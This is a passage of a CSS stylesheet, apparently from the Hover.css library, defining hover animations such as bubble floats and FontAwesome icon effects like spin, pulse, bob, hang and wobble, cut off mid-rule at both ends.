transform; transition-property: transform; } .hvr-bubble-float-bottom:hover, .hvr-bubble-float-bottom:focus, .hvr-bubble-float-bottom:active { -webkit-transform: translateY(-10px); transform: translateY(-10px); } .hvr-bubble-float-bottom:hover:before, .hvr-bubble-float-bottom:focus:before, .hvr-bubble-float-bottom:active:before { -webkit-transform: translateY(10px); transform: translateY(10px); } /* Bubble Float Left */ .hvr-bubble-float-left { display: inline-block; vertical-align: middle; -webkit-transform: translateZ(0); transform: translateZ(0); box-shadow: 0 0 1px rgba(0, 0, 0, 0); -webkit-backface-visibility: hidden; backface-visibility: hidden; -moz-osx-font-smoothing: grayscale; position: relative; -webkit-transition-duration: 0.3s; transition-duration: 0.3s; -webkit-transition-property: transform; transition-property: transform; } .hvr-bubble-float-left:before { position: absolute; z-index: -1; content: ''; top: calc(50% - 10px); left: 0; border-style: solid; border-width: 10px 10px 10px 0; border-color: transparent #e1e1e1 transparent transparent; -webkit-transition-duration: 0.3s; transition-duration: 0.3s; -webkit-transition-property: transform; transition-property: transform; } .hvr-bubble-float-left:hover, .hvr-bubble-float-left:focus, .hvr-bubble-float-left:active { -webkit-transform: translateX(10px); transform: translateX(10px); } .hvr-bubble-float-left:hover:before, .hvr-bubble-float-left:focus:before, .hvr-bubble-float-left:active:before { -webkit-transform: translateX(-10px); transform: translateX(-10px); } /* ICONS */ /* Icon Back */ .hvr-icon-back { display: inline-block; vertical-align: middle; -webkit-transform: translateZ(0); transform: translateZ(0); box-shadow: 0 0 1px rgba(0, 0, 0, 0); -webkit-backface-visibility: hidden; backface-visibility: hidden; -moz-osx-font-smoothing: grayscale; position: relative; padding-left: 2.2em; -webkit-transition-duration: 0.1s; transition-duration: 0.1s; } .hvr-icon-back:before { content: "\f137"; position: absolute; left: 1em; padding: 0 1px; font-family: FontAwesome; -webkit-transform: translateZ(0); transform: translateZ(0); -webkit-transition-duration: 0.1s; transition-duration: 0.1s; -webkit-transition-property: transform; transition-property: transform; -webkit-transition-timing-function: ease-out; transition-timing-function: ease-out; } .hvr-icon-back:hover:before, .hvr-icon-back:focus:before, .hvr-icon-back:active:before { -webkit-transform: translateX(-4px); transform: translateX(-4px); } /* Icon Forward */ .hvr-icon-forward { display: inline-block; vertical-align: middle; -webkit-transform: translateZ(0); transform: translateZ(0); box-shadow: 0 0 1px rgba(0, 0, 0, 0); -webkit-backface-visibility: hidden; backface-visibility: hidden; -moz-osx-font-smoothing: grayscale; position: relative; padding-right: 2.2em; -webkit-transition-duration: 0.1s; transition-duration: 0.1s; } .hvr-icon-forward:before { content: "\f138"; position: absolute; right: 1em; padding: 0 1px; font-family: FontAwesome; -webkit-transform: translateZ(0); transform: translateZ(0); -webkit-transition-duration: 0.1s; transition-duration: 0.1s; -webkit-transition-property: transform; transition-property: transform; -webkit-transition-timing-function: ease-out; transition-timing-function: ease-out; } .hvr-icon-forward:hover:before, .hvr-icon-forward:focus:before, .hvr-icon-forward:active:before { -webkit-transform: translateX(4px); transform: translateX(4px); } /* Icon Down */ @-webkit-keyframes hvr-icon-down { 0%, 50%, 100% { -webkit-transform: translateY(0); transform: translateY(0); } 25%, 75% { -webkit-transform: translateY(6px); transform: translateY(6px); } } @keyframes hvr-icon-down { 0%, 50%, 100% { -webkit-transform: translateY(0); transform: translateY(0); } 25%, 75% { -webkit-transform: translateY(6px); transform: translateY(6px); } } /* Icon Down */ .hvr-icon-down { display: inline-block; vertical-align: middle; -webkit-transform: translateZ(0); transform: translateZ(0); box-shadow: 0 0 1px rgba(0, 0, 0, 0); -webkit-backface-visibility: hidden; backface-visibility: hidden; -moz-osx-font-smoothing: grayscale; position: relative; padding-right: 2.2em; } .hvr-icon-down:before { content: "\f01a"; position: absolute; right: 1em; padding: 0 1px; font-family: FontAwesome; -webkit-transform: translateZ(0); transform: translateZ(0); } .hvr-icon-down:hover:before, .hvr-icon-down:focus:before, .hvr-icon-down:active:before { -webkit-animation-name: hvr-icon-down; animation-name: hvr-icon-down; -webkit-animation-duration: 0.75s; animation-duration: 0.75s; -webkit-animation-timing-function: ease-out; animation-timing-function: ease-out; } /* Icon Up */ @-webkit-keyframes hvr-icon-up { 0%, 50%, 100% { -webkit-transform: translateY(0); transform: translateY(0); } 25%, 75% { -webkit-transform: translateY(-6px); transform: translateY(-6px); } } @keyframes hvr-icon-up { 0%, 50%, 100% { -webkit-transform: translateY(0); transform: translateY(0); } 25%, 75% { -webkit-transform: translateY(-6px); transform: translateY(-6px); } } /* Icon Up */ .hvr-icon-up { display: inline-block; vertical-align: middle; -webkit-transform: translateZ(0); transform: translateZ(0); box-shadow: 0 0 1px rgba(0, 0, 0, 0); -webkit-backface-visibility: hidden; backface-visibility: hidden; -moz-osx-font-smoothing: grayscale; position: relative; padding-right: 2.2em; } .hvr-icon-up:before { content: "\f01b"; position: absolute; right: 1em; padding: 0 1px; font-family: FontAwesome; -webkit-transform: translateZ(0); transform: translateZ(0); } .hvr-icon-up:hover:before, .hvr-icon-up:focus:before, .hvr-icon-up:active:before { -webkit-animation-name: hvr-icon-up; animation-name: hvr-icon-up; -webkit-animation-duration: 0.75s; animation-duration: 0.75s; -webkit-animation-timing-function: ease-out; animation-timing-function: ease-out; } /* Icon Spin */ .hvr-icon-spin { display: inline-block; vertical-align: middle; -webkit-transform: translateZ(0); transform: translateZ(0); box-shadow: 0 0 1px rgba(0, 0, 0, 0); -webkit-backface-visibility: hidden; backface-visibility: hidden; -moz-osx-font-smoothing: grayscale; position: relative; padding-right: 2.2em; } .hvr-icon-spin:before { content: "\f021"; position: absolute; right: 1em; padding: 0 1px; font-family: FontAwesome; -webkit-transition-duration: 1s; transition-duration: 1s; -webkit-transition-property: transform; transition-property: transform; -webkit-transition-timing-function: ease-in-out; transition-timing-function: ease-in-out; } .hvr-icon-spin:hover:before, .hvr-icon-spin:focus:before, .hvr-icon-spin:active:before { -webkit-transform: rotate(360deg); transform: rotate(360deg); } /* Icon Drop */ @-webkit-keyframes hvr-icon-drop { 0% { opacity: 0; } 50% { opacity: 0; -webkit-transform: translateY(-100%); transform: translateY(-100%); } 51%, 100% { opacity: 1; } } @keyframes hvr-icon-drop { 0% { opacity: 0; } 50% { opacity: 0; -webkit-transform: translateY(-100%); transform: translateY(-100%); } 51%, 100% { opacity: 1; } } /* Icon Drop */ .hvr-icon-drop { display: inline-block; vertical-align: middle; -webkit-transform: translateZ(0); transform: translateZ(0); box-shadow: 0 0 1px rgba(0, 0, 0, 0); -webkit-backface-visibility: hidden; backface-visibility: hidden; -moz-osx-font-smoothing: grayscale; position: relative; padding-right: 2.2em; } .hvr-icon-drop:before { content: "\f041"; position: absolute; right: 1em; opacity: 1; padding: 0 1px; font-family: FontAwesome; -webkit-transform: translateZ(0); transform: translateZ(0); } .hvr-icon-drop:hover:before, .hvr-icon-drop:focus:before, .hvr-icon-drop:active:before { opacity: 0; -webkit-transition-duration: 0.3s; transition-duration: 0.3s; -webkit-animation-name: hvr-icon-drop; animation-name: hvr-icon-drop; -webkit-animation-duration: 0.5s; animation-duration: 0.5s; -webkit-animation-delay: 0.3s; animation-delay: 0.3s; -webkit-animation-fill-mode: forwards; animation-fill-mode: forwards; -webkit-animation-timing-function: ease-in-out; animation-timing-function: ease-in-out; -webkit-animation-timing-function: cubic-bezier(0.52, 1.64, 0.37, 0.66); animation-timing-function: cubic-bezier(0.52, 1.64, 0.37, 0.66); } /* Icon Fade */ .hvr-icon-fade { display: inline-block; vertical-align: middle; -webkit-transform: translateZ(0); transform: translateZ(0); box-shadow: 0 0 1px rgba(0, 0, 0, 0); -webkit-backface-visibility: hidden; backface-visibility: hidden; -moz-osx-font-smoothing: grayscale; position: relative; padding-right: 2.2em; } .hvr-icon-fade:before { content: "\f00c"; position: absolute; right: 1em; padding: 0 1px; font-family: FontAwesome; -webkit-transform: translateZ(0); transform: translateZ(0); -webkit-transition-duration: 0.5s; transition-duration: 0.5s; -webkit-transition-property: color; transition-property: color; } .hvr-icon-fade:hover:before, .hvr-icon-fade:focus:before, .hvr-icon-fade:active:before { color: #0F9E5E; } /* Icon Float Away */ @-webkit-keyframes hvr-icon-float-away { 0% { opacity: 1; } 100% { opacity: 0; -webkit-transform: translateY(-1em); transform: translateY(-1em); } } @keyframes hvr-icon-float-away { 0% { opacity: 1; } 100% { opacity: 0; -webkit-transform: translateY(-1em); transform: translateY(-1em); } } /* Icon Float Away */ .hvr-icon-float-away { display: inline-block; vertical-align: middle; -webkit-transform: translateZ(0); transform: translateZ(0); box-shadow: 0 0 1px rgba(0, 0, 0, 0); -webkit-backface-visibility: hidden; backface-visibility: hidden; -moz-osx-font-smoothing: grayscale; position: relative; padding-right: 2.2em; } .hvr-icon-float-away:before, .hvr-icon-float-away:after { content: "\f055"; position: absolute; right: 1em; padding: 0 1px; font-family: FontAwesome; } .hvr-icon-float-away:after { opacity: 0; -webkit-animation-duration: 0.5s; animation-duration: 0.5s; -webkit-animation-fill-mode: forwards; animation-fill-mode: forwards; } .hvr-icon-float-away:hover:after, .hvr-icon-float-away:focus:after, .hvr-icon-float-away:active:after { -webkit-animation-name: hvr-icon-float-away; animation-name: hvr-icon-float-away; -webkit-animation-timing-function: ease-out; animation-timing-function: ease-out; } /* Icon Sink Away */ @-webkit-keyframes hvr-icon-sink-away { 0% { opacity: 1; } 100% { opacity: 0; -webkit-transform: translateY(1em); transform: translateY(1em); } } @keyframes hvr-icon-sink-away { 0% { opacity: 1; } 100% { opacity: 0; -webkit-transform: translateY(1em); transform: translateY(1em); } } /* Icon Sink Away */ .hvr-icon-sink-away { display: inline-block; vertical-align: middle; -webkit-transform: translateZ(0); transform: translateZ(0); box-shadow: 0 0 1px rgba(0, 0, 0, 0); -webkit-backface-visibility: hidden; backface-visibility: hidden; -moz-osx-font-smoothing: grayscale; position: relative; padding-right: 2.2em; } .hvr-icon-sink-away:before, .hvr-icon-sink-away:after { content: "\f056"; position: absolute; right: 1em; padding: 0 1px; font-family: FontAwesome; -webkit-transform: translateZ(0); transform: translateZ(0); } .hvr-icon-sink-away:after { opacity: 0; -webkit-animation-duration: 0.5s; animation-duration: 0.5s; -webkit-animation-fill-mode: forwards; animation-fill-mode: forwards; } .hvr-icon-sink-away:hover:after, .hvr-icon-sink-away:focus:after, .hvr-icon-sink-away:active:after { -webkit-animation-name: hvr-icon-sink-away; animation-name: hvr-icon-sink-away; -webkit-animation-timing-function: ease-out; animation-timing-function: ease-out; } /* Icon Grow */ .hvr-icon-grow { display: inline-block; vertical-align: middle; -webkit-transform: translateZ(0); transform: translateZ(0); box-shadow: 0 0 1px rgba(0, 0, 0, 0); -webkit-backface-visibility: hidden; backface-visibility: hidden; -moz-osx-font-smoothing: grayscale; position: relative; padding-right: 2.2em; -webkit-transition-duration: 0.3s; transition-duration: 0.3s; } .hvr-icon-grow:before { content: "\f118"; position: absolute; right: 1em; padding: 0 1px; font-family: FontAwesome; -webkit-transform: translateZ(0); transform: translateZ(0); -webkit-transition-duration: 0.3s; transition-duration: 0.3s; -webkit-transition-property: transform; transition-property: transform; -webkit-transition-timing-function: ease-out; transition-timing-function: ease-out; } .hvr-icon-grow:hover:before, .hvr-icon-grow:focus:before, .hvr-icon-grow:active:before { -webkit-transform: scale(1.3) translateZ(0); transform: scale(1.3) translateZ(0); } /* Icon Shrink */ .hvr-icon-shrink { display: inline-block; vertical-align: middle; -webkit-transform: translateZ(0); transform: translateZ(0); box-shadow: 0 0 1px rgba(0, 0, 0, 0); -webkit-backface-visibility: hidden; backface-visibility: hidden; -moz-osx-font-smoothing: grayscale; position: relative; padding-right: 2.2em; -webkit-transition-duration: 0.3s; transition-duration: 0.3s; } .hvr-icon-shrink:before { content: "\f119"; position: absolute; right: 1em; padding: 0 1px; font-family: FontAwesome; -webkit-transform: translateZ(0); transform: translateZ(0); -webkit-transition-duration: 0.3s; transition-duration: 0.3s; -webkit-transition-property: transform; transition-property: transform; -webkit-transition-timing-function: ease-out; transition-timing-function: ease-out; } .hvr-icon-shrink:hover:before, .hvr-icon-shrink:focus:before, .hvr-icon-shrink:active:before { -webkit-transform: scale(0.8); transform: scale(0.8); } /* Icon Pulse */ @-webkit-keyframes hvr-icon-pulse { 25% { -webkit-transform: scale(1.3); transform: scale(1.3); } 75% { -webkit-transform: scale(0.8); transform: scale(0.8); } } @keyframes hvr-icon-pulse { 25% { -webkit-transform: scale(1.3); transform: scale(1.3); } 75% { -webkit-transform: scale(0.8); transform: scale(0.8); } } .hvr-icon-pulse { display: inline-block; vertical-align: middle; -webkit-transform: translateZ(0); transform: translateZ(0); box-shadow: 0 0 1px rgba(0, 0, 0, 0); -webkit-backface-visibility: hidden; backface-visibility: hidden; -moz-osx-font-smoothing: grayscale; position: relative; padding-right: 2.2em; } .hvr-icon-pulse:before { content: "\f015"; position: absolute; right: 1em; padding: 0 1px; font-family: FontAwesome; -webkit-transform: translateZ(0); transform: translateZ(0); -webkit-transition-timing-function: ease-out; transition-timing-function: ease-out; } .hvr-icon-pulse:hover:before, .hvr-icon-pulse:focus:before, .hvr-icon-pulse:active:before { -webkit-animation-name: hvr-icon-pulse; animation-name: hvr-icon-pulse; -webkit-animation-duration: 1s; animation-duration: 1s; -webkit-animation-timing-function: linear; animation-timing-function: linear; -webkit-animation-iteration-count: infinite; animation-iteration-count: infinite; } /* Icon Pulse Grow */ @-webkit-keyframes hvr-icon-pulse-grow { to { -webkit-transform: scale(1.3); transform: scale(1.3); } } @keyframes hvr-icon-pulse-grow { to { -webkit-transform: scale(1.3); transform: scale(1.3); } } .hvr-icon-pulse-grow { display: inline-block; vertical-align: middle; -webkit-transform: translateZ(0); transform: translateZ(0); box-shadow: 0 0 1px rgba(0, 0, 0, 0); -webkit-backface-visibility: hidden; backface-visibility: hidden; -moz-osx-font-smoothing: grayscale; position: relative; padding-right: 2.2em; } .hvr-icon-pulse-grow:before { content: "\f015"; position: absolute; right: 1em; padding: 0 1px; font-family: FontAwesome; -webkit-transform: translateZ(0); transform: translateZ(0); -webkit-transition-timing-function: ease-out; transition-timing-function: ease-out; } .hvr-icon-pulse-grow:hover:before, .hvr-icon-pulse-grow:focus:before, .hvr-icon-pulse-grow:active:before { -webkit-animation-name: hvr-icon-pulse-grow; animation-name: hvr-icon-pulse-grow; -webkit-animation-duration: 0.3s; animation-duration: 0.3s; -webkit-animation-timing-function: linear; animation-timing-function: linear; -webkit-animation-iteration-count: infinite; animation-iteration-count: infinite; -webkit-animation-direction: alternate; animation-direction: alternate; } /* Icon Pulse Shrink */ @-webkit-keyframes hvr-icon-pulse-shrink { to { -webkit-transform: scale(0.8); transform: scale(0.8); } } @keyframes hvr-icon-pulse-shrink { to { -webkit-transform: scale(0.8); transform: scale(0.8); } } .hvr-icon-pulse-shrink { display: inline-block; vertical-align: middle; -webkit-transform: translateZ(0); transform: translateZ(0); box-shadow: 0 0 1px rgba(0, 0, 0, 0); -webkit-backface-visibility: hidden; backface-visibility: hidden; -moz-osx-font-smoothing: grayscale; position: relative; padding-right: 2.2em; } .hvr-icon-pulse-shrink:before { content: "\f015"; position: absolute; right: 1em; padding: 0 1px; font-family: FontAwesome; -webkit-transform: translateZ(0); transform: translateZ(0); -webkit-transition-timing-function: ease-out; transition-timing-function: ease-out; } .hvr-icon-pulse-shrink:hover:before, .hvr-icon-pulse-shrink:focus:before, .hvr-icon-pulse-shrink:active:before { -webkit-animation-name: hvr-icon-pulse-shrink; animation-name: hvr-icon-pulse-shrink; -webkit-animation-duration: 0.3s; animation-duration: 0.3s; -webkit-animation-timing-function: linear; animation-timing-function: linear; -webkit-animation-iteration-count: infinite; animation-iteration-count: infinite; -webkit-animation-direction: alternate; animation-direction: alternate; } /* Icon Push */ @-webkit-keyframes hvr-icon-push { 50% { -webkit-transform: scale(0.5); transform: scale(0.5); } } @keyframes hvr-icon-push { 50% { -webkit-transform: scale(0.5); transform: scale(0.5); } } .hvr-icon-push { display: inline-block; vertical-align: middle; -webkit-transform: translateZ(0); transform: translateZ(0); box-shadow: 0 0 1px rgba(0, 0, 0, 0); -webkit-backface-visibility: hidden; backface-visibility: hidden; -moz-osx-font-smoothing: grayscale; position: relative; padding-right: 2.2em; -webkit-transition-duration: 0.3s; transition-duration: 0.3s; } .hvr-icon-push:before { content: "\f006"; position: absolute; right: 1em; padding: 0 1px; font-family: FontAwesome; -webkit-transform: translateZ(0); transform: translateZ(0); -webkit-transition-duration: 0.3s; transition-duration: 0.3s; -webkit-transition-property: transform; transition-property: transform; -webkit-transition-timing-function: ease-out; transition-timing-function: ease-out; } .hvr-icon-push:hover:before, .hvr-icon-push:focus:before, .hvr-icon-push:active:before { -webkit-animation-name: hvr-icon-push; animation-name: hvr-icon-push; -webkit-animation-duration: 0.3s; animation-duration: 0.3s; -webkit-animation-timing-function: linear; animation-timing-function: linear; -webkit-animation-iteration-count: 1; animation-iteration-count: 1; } /* Icon Pop */ @-webkit-keyframes hvr-icon-pop { 50% { -webkit-transform: scale(1.5); transform: scale(1.5); } } @keyframes hvr-icon-pop { 50% { -webkit-transform: scale(1.5); transform: scale(1.5); } } .hvr-icon-pop { display: inline-block; vertical-align: middle; -webkit-transform: translateZ(0); transform: translateZ(0); box-shadow: 0 0 1px rgba(0, 0, 0, 0); -webkit-backface-visibility: hidden; backface-visibility: hidden; -moz-osx-font-smoothing: grayscale; position: relative; padding-right: 2.2em; -webkit-transition-duration: 0.3s; transition-duration: 0.3s; } .hvr-icon-pop:before { content: "\f005"; position: absolute; right: 1em; padding: 0 1px; font-family: FontAwesome; -webkit-transform: translateZ(0); transform: translateZ(0); -webkit-transition-duration: 0.3s; transition-duration: 0.3s; -webkit-transition-property: transform; transition-property: transform; -webkit-transition-timing-function: ease-out; transition-timing-function: ease-out; } .hvr-icon-pop:hover:before, .hvr-icon-pop:focus:before, .hvr-icon-pop:active:before { -webkit-animation-name: hvr-icon-pop; animation-name: hvr-icon-pop; -webkit-animation-duration: 0.3s; animation-duration: 0.3s; -webkit-animation-timing-function: linear; animation-timing-function: linear; -webkit-animation-iteration-count: 1; animation-iteration-count: 1; } /* Icon Bounce */ .hvr-icon-bounce { display: inline-block; vertical-align: middle; -webkit-transform: translateZ(0); transform: translateZ(0); box-shadow: 0 0 1px rgba(0, 0, 0, 0); -webkit-backface-visibility: hidden; backface-visibility: hidden; -moz-osx-font-smoothing: grayscale; position: relative; padding-right: 2.2em; -webkit-transition-duration: 0.3s; transition-duration: 0.3s; } .hvr-icon-bounce:before { content: "\f087"; position: absolute; right: 1em; padding: 0 1px; font-family: FontAwesome; -webkit-transform: translateZ(0); transform: translateZ(0); -webkit-transition-duration: 0.3s; transition-duration: 0.3s; -webkit-transition-property: transform; transition-property: transform; -webkit-transition-timing-function: ease-out; transition-timing-function: ease-out; } .hvr-icon-bounce:hover:before, .hvr-icon-bounce:focus:before, .hvr-icon-bounce:active:before { -webkit-transform: scale(1.5); transform: scale(1.5); -webkit-transition-timing-function: cubic-bezier(0.47, 2.02, 0.31, -0.36); transition-timing-function: cubic-bezier(0.47, 2.02, 0.31, -0.36); } /* Icon Rotate */ .hvr-icon-rotate { display: inline-block; vertical-align: middle; -webkit-transform: translateZ(0); transform: translateZ(0); box-shadow: 0 0 1px rgba(0, 0, 0, 0); -webkit-backface-visibility: hidden; backface-visibility: hidden; -moz-osx-font-smoothing: grayscale; position: relative; padding-right: 2.2em; -webkit-transition-duration: 0.3s; transition-duration: 0.3s; } .hvr-icon-rotate:before { content: "\f0c6"; position: absolute; right: 1em; padding: 0 1px; font-family: FontAwesome; -webkit-transform: translateZ(0); transform: translateZ(0); -webkit-transition-duration: 0.3s; transition-duration: 0.3s; -webkit-transition-property: transform; transition-property: transform; -webkit-transition-timing-function: ease-out; transition-timing-function: ease-out; } .hvr-icon-rotate:hover:before, .hvr-icon-rotate:focus:before, .hvr-icon-rotate:active:before { -webkit-transform: rotate(20deg); transform: rotate(20deg); } /* Icon Grow Rotate */ .hvr-icon-grow-rotate { display: inline-block; vertical-align: middle; -webkit-transform: translateZ(0); transform: translateZ(0); box-shadow: 0 0 1px rgba(0, 0, 0, 0); -webkit-backface-visibility: hidden; backface-visibility: hidden; -moz-osx-font-smoothing: grayscale; position: relative; padding-right: 2.2em; -webkit-transition-duration: 0.3s; transition-duration: 0.3s; } .hvr-icon-grow-rotate:before { content: "\f095"; position: absolute; right: 1em; padding: 0 1px; font-family: FontAwesome; -webkit-transform: translateZ(0); transform: translateZ(0); -webkit-transition-duration: 0.3s; transition-duration: 0.3s; -webkit-transition-property: transform; transition-property: transform; -webkit-transition-timing-function: ease-out; transition-timing-function: ease-out; } .hvr-icon-grow-rotate:hover:before, .hvr-icon-grow-rotate:focus:before, .hvr-icon-grow-rotate:active:before { -webkit-transform: scale(1.5) rotate(12deg); transform: scale(1.5) rotate(12deg); } /* Icon Float */ .hvr-icon-float { display: inline-block; vertical-align: middle; -webkit-transform: translateZ(0); transform: translateZ(0); box-shadow: 0 0 1px rgba(0, 0, 0, 0); -webkit-backface-visibility: hidden; backface-visibility: hidden; -moz-osx-font-smoothing: grayscale; position: relative; padding-right: 2.2em; -webkit-transition-duration: 0.3s; transition-duration: 0.3s; } .hvr-icon-float:before { content: "\f01b"; position: absolute; right: 1em; padding: 0 1px; font-family: FontAwesome; -webkit-transform: translateZ(0); transform: translateZ(0); -webkit-transition-duration: 0.3s; transition-duration: 0.3s; -webkit-transition-property: transform; transition-property: transform; -webkit-transition-timing-function: ease-out; transition-timing-function: ease-out; } .hvr-icon-float:hover:before, .hvr-icon-float:focus:before, .hvr-icon-float:active:before { -webkit-transform: translateY(-4px); transform: translateY(-4px); } /* Icon Sink */ .hvr-icon-sink { display: inline-block; vertical-align: middle; -webkit-transform: translateZ(0); transform: translateZ(0); box-shadow: 0 0 1px rgba(0, 0, 0, 0); -webkit-backface-visibility: hidden; backface-visibility: hidden; -moz-osx-font-smoothing: grayscale; position: relative; padding-right: 2.2em; -webkit-transition-duration: 0.3s; transition-duration: 0.3s; } .hvr-icon-sink:before { content: "\f01a"; position: absolute; right: 1em; padding: 0 1px; font-family: FontAwesome; -webkit-transform: translateZ(0); transform: translateZ(0); -webkit-transition-duration: 0.3s; transition-duration: 0.3s; -webkit-transition-property: transform; transition-property: transform; -webkit-transition-timing-function: ease-out; transition-timing-function: ease-out; } .hvr-icon-sink:hover:before, .hvr-icon-sink:focus:before, .hvr-icon-sink:active:before { -webkit-transform: translateY(4px); transform: translateY(4px); } /* Icon Bob */ @-webkit-keyframes hvr-icon-bob { 0% { -webkit-transform: translateY(-6px); transform: translateY(-6px); } 50% { -webkit-transform: translateY(-2px); transform: translateY(-2px); } 100% { -webkit-transform: translateY(-6px); transform: translateY(-6px); } } @keyframes hvr-icon-bob { 0% { -webkit-transform: translateY(-6px); transform: translateY(-6px); } 50% { -webkit-transform: translateY(-2px); transform: translateY(-2px); } 100% { -webkit-transform: translateY(-6px); transform: translateY(-6px); } } @-webkit-keyframes hvr-icon-bob-float { 100% { -webkit-transform: translateY(-6px); transform: translateY(-6px); } } @keyframes hvr-icon-bob-float { 100% { -webkit-transform: translateY(-6px); transform: translateY(-6px); } } .hvr-icon-bob { display: inline-block; vertical-align: middle; -webkit-transform: translateZ(0); transform: translateZ(0); box-shadow: 0 0 1px rgba(0, 0, 0, 0); -webkit-backface-visibility: hidden; backface-visibility: hidden; -moz-osx-font-smoothing: grayscale; position: relative; padding-right: 2.2em; -webkit-transition-duration: 0.3s; transition-duration: 0.3s; } .hvr-icon-bob:before { content: "\f077"; position: absolute; right: 1em; padding: 0 1px; font-family: FontAwesome; -webkit-transform: translateZ(0); transform: translateZ(0); } .hvr-icon-bob:hover:before, .hvr-icon-bob:focus:before, .hvr-icon-bob:active:before { -webkit-animation-name: hvr-icon-bob-float, hvr-icon-bob; animation-name: hvr-icon-bob-float, hvr-icon-bob; -webkit-animation-duration: .3s, 1.5s; animation-duration: .3s, 1.5s; -webkit-animation-delay: 0s, .3s; animation-delay: 0s, .3s; -webkit-animation-timing-function: ease-out, ease-in-out; animation-timing-function: ease-out, ease-in-out; -webkit-animation-iteration-count: 1, infinite; animation-iteration-count: 1, infinite; -webkit-animation-fill-mode: forwards; animation-fill-mode: forwards; -webkit-animation-direction: normal, alternate; animation-direction: normal, alternate; } /* Icon Hang */ @-webkit-keyframes hvr-icon-hang { 0% { -webkit-transform: translateY(6px); transform: translateY(6px); } 50% { -webkit-transform: translateY(2px); transform: translateY(2px); } 100% { -webkit-transform: translateY(6px); transform: translateY(6px); } } @keyframes hvr-icon-hang { 0% { -webkit-transform: translateY(6px); transform: translateY(6px); } 50% { -webkit-transform: translateY(2px); transform: translateY(2px); } 100% { -webkit-transform: translateY(6px); transform: translateY(6px); } } @-webkit-keyframes hvr-icon-hang-sink { 100% { -webkit-transform: translateY(6px); transform: translateY(6px); } } @keyframes hvr-icon-hang-sink { 100% { -webkit-transform: translateY(6px); transform: translateY(6px); } } .hvr-icon-hang { display: inline-block; vertical-align: middle; -webkit-transform: translateZ(0); transform: translateZ(0); box-shadow: 0 0 1px rgba(0, 0, 0, 0); -webkit-backface-visibility: hidden; backface-visibility: hidden; -moz-osx-font-smoothing: grayscale; position: relative; padding-right: 2.2em; -webkit-transition-duration: 0.3s; transition-duration: 0.3s; } .hvr-icon-hang:before { content: "\f078"; position: absolute; right: 1em; padding: 0 1px; font-family: FontAwesome; -webkit-transform: translateZ(0); transform: translateZ(0); } .hvr-icon-hang:hover:before, .hvr-icon-hang:focus:before, .hvr-icon-hang:active:before { -webkit-animation-name: hvr-icon-hang-sink, hvr-icon-hang; animation-name: hvr-icon-hang-sink, hvr-icon-hang; -webkit-animation-duration: .3s, 1.5s; animation-duration: .3s, 1.5s; -webkit-animation-delay: 0s, .3s; animation-delay: 0s, .3s; -webkit-animation-timing-function: ease-out, ease-in-out; animation-timing-function: ease-out, ease-in-out; -webkit-animation-iteration-count: 1, infinite; animation-iteration-count: 1, infinite; -webkit-animation-fill-mode: forwards; animation-fill-mode: forwards; -webkit-animation-direction: normal, alternate; animation-direction: normal, alternate; } /* Icon Wobble Horizontal */ @-webkit-keyframes hvr-icon-wobble-horizontal { 16.65% { -webkit-transform: translateX(6px); transform: translateX(6px); } 33.3% { -webkit-transform: translateX(-5px); transform: translateX(-5px); } 49.95% { -webkit-transform: translateX(4px); transform: translateX(4px); } 66.6% { -webkit-transform: translateX(-2px); transform: translateX(-2px); } 83.25% { -webkit-transform: translateX(1px); transform: translateX(1px); } 100% { -webkit-transform: translateX(0); transform: translateX(0); } } @keyframes hvr-icon-wobble-horizontal { 16.65% { -webkit-transform: translateX(6px); transform: translateX(6px); } 33.3% { -webkit-transform: translateX(-5px); transform: translateX(-5px); } 49.95% { -webkit-transform: translateX(4px); transform: translateX(4px); } 66.6% { -webkit-transform: translateX(-2px); transform: translateX(-2px); } 83.25% { -webkit-transform: translateX(1px); transform: translateX(1px); } 100% { -webkit-transform: translateX(0); transform: translateX(0); } } .hvr-icon-wobble-horizontal { display: inline-block; vertical-align: middle; -webkit-transform: translateZ(0); transform: translateZ(0); box-shadow: 0 0 1px rgba(0, 0, 0, 0); -webkit-backface-visibility: hidden; backface-visibility: hidden; -moz-osx-font-smoothing: grayscale; position: relative; padding-right: 2.2em; -webkit-transition-duration: 0.3s; transition-duration: 0.3s; } .hvr-icon-wobble-horizontal:before { content: "\f061"; position: absolute; right: 1em; padding: 0 1px; font-family: FontAwesome; -webkit-transform: translateZ(0); transform: translateZ(0); } .hvr-icon-wobble-horizontal:hover:before, .hvr-icon-wobble-horizontal:focus:before, .hvr-icon-wobble-horizontal:active:before { -webkit-animation-name: hvr-icon-wobble-horizontal; animation-name: hvr-icon-wobble-horizontal; -webkit-animation-duration: 1s; animation-duration: 1s; -webkit-animation-timing-function: ease-in-out; animation-timing-function: ease-in-out; -webkit-animation-iteration-count: 1; animation-iteration-count: 1; } /* Icon Wobble Vertical */ @-webkit-keyframes hvr-icon-wobble-vertical { 16.65% { -webkit-transform: translateY(6px); transform: translateY(6px); } 33.3% { -webkit-transform: translateY(-5px); transform: translateY(-5px); } 49.95% { -webkit-transform: translateY(4px); transform: translateY(4px); } 66.6% { -webkit-transform: translateY(-2px); transform: translateY(-2px); } 83.25% { -webkit-transform: translateY(1px); transform: translateY(1px); } 100% { -webkit-transform: translateY(0); transform: translateY(0); } } @keyframes hvr-icon-wobble-vertical { 16.65% { -webkit-transform: translateY(6px); transform: translateY(6px); } 33.3% { -webkit-transform: translateY(-5px); transform: translateY(-5px); } 49.95% { -webkit-transform: translateY(4px); transform: translateY(4px); } 66.6% { -webkit-transform: translateY(-2px); transform: translateY(-2px); } 83.25% { -webkit-transform: translateY(1px); transform: translateY(1px); } 100% { -webkit-transform: translateY(0); transform: translateY(0); } } .hvr-icon-wobble-vertical { display: inline-block; vertical-align: middle; -webkit-transform: translateZ(0); transform: translateZ(0); box-shadow: 0 0 1px rgba(0, 0, 0, 0); -webkit-backface-visibility: hidden; backface-visibility: hidden; -moz-osx-font-smoothing: grayscale; position: relative; padding-right: 2.2em; -webkit-transition-duration: 0.3s; transition-duration: 0.3s; } .hvr-icon-wobble-vertical:before { content: "\f062"; position: absolute; right: 1em; padding: 0 1px; font-family: FontAwesome; -webkit-transform: translateZ(0); transform: translateZ(0); } .hvr-icon-wobble-vertical:hover:before, .hvr-icon-wobble-vertical:focus:before, .hvr-icon-wobble-vertical:active:before { -webkit-animation-name: hvr-icon-wobble-vertical; animation-name: hvr-icon-wobble-vertical; -webkit-animation-duration: 1s; animation-duration: 1s; -webkit-animation-timing-function: ease-in-out; animation-timing-function: ease-in-out; -webkit-animation-iteration-count: 1; animation-iteration-count: 1; } /* Icon Buzz */ @-webkit-keyframes hvr-icon-buzz { 50% { -webkit-transform: translateX(3px) rotate(2deg); transform: translateX(3px) 